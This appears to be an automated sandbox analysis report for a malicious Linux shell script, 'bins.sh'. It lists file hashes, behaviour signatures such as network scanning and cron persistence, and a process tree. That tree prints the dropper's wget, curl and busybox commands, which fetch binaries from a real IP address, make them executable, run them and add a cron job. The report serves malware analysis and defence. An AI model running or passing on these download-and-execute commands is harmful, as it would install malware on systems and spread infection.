Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 21:09

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    80fbc92fef78f4dd4d74728414ee221d

  • SHA1

    a7ad696c79b7b407183a230f08fa116394feb71a

  • SHA256

    6755362ddf5c3b8b031ebacaaec1ae40a9fc13d9954a63c8797ce84240f1c7d0

  • SHA512

    ad2bfdb0bb89f024cd69ca1619353f7c3a86d222985a3b28fc36a20281961f4e205ef0cbbb93f5aeae226c942df346ce5919f9db4cc65b9accaeb37396c10a52

  • SSDEEP

    192:/WRJ4AQsqRh1zn/3C+iiNsZxB1rm2mPn/3C+uQsqRhYVB1rm2i26RJh:tBzn/3C+iimxB1rm2mPn/3C+AB1rm2w

Malware Config

Signatures

  • Contacts a large (2177) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1505
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1506
        • /usr/bin/wget
          wget http://216.126.231.240/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1507
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1512
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1513
        • /bin/chmod
          chmod 777 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • File and Directory Permissions Modification
          PID:1514
        • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          ./tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:1515
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1517
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1518
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1519
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1520
              • /bin/rm
                rm tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
                2⤵
                • System Network Configuration Discovery
                PID:1522
              • /usr/bin/wget
                wget http://216.126.231.240/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
                2⤵
                  PID:1525
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
                  2⤵
                    PID:1526

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.RiiwEP

                  Filesize

                  210B

                  MD5

                  c56b51c31b07036326f1f9addb3f8e88

                  SHA1

                  00be82cd2d4609a1bd1226a51b90d0dc2305aca4

                  SHA256

                  dadcdd124053b518a4725004f3e0ba94138b2be11f67919e35cdadc5fc7ae09e

                  SHA512

                  5252e018265a8f79e6726f5a933eaaefd32e7253bb40417c7ac8111fc08b7d6dca472a23ea7be425ffaddfa37855109bdbdf31ccf056c1787dc78263c5b67382